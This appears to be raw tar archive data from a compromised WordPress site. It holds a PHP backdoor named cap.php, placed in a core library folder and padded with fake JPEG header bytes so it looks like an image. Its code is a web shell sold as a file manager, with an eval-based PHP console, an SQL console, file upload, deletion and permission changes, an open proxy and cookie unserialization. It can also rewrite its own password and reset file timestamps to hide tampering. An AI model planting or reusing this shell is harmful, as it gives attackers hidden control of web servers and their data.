			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
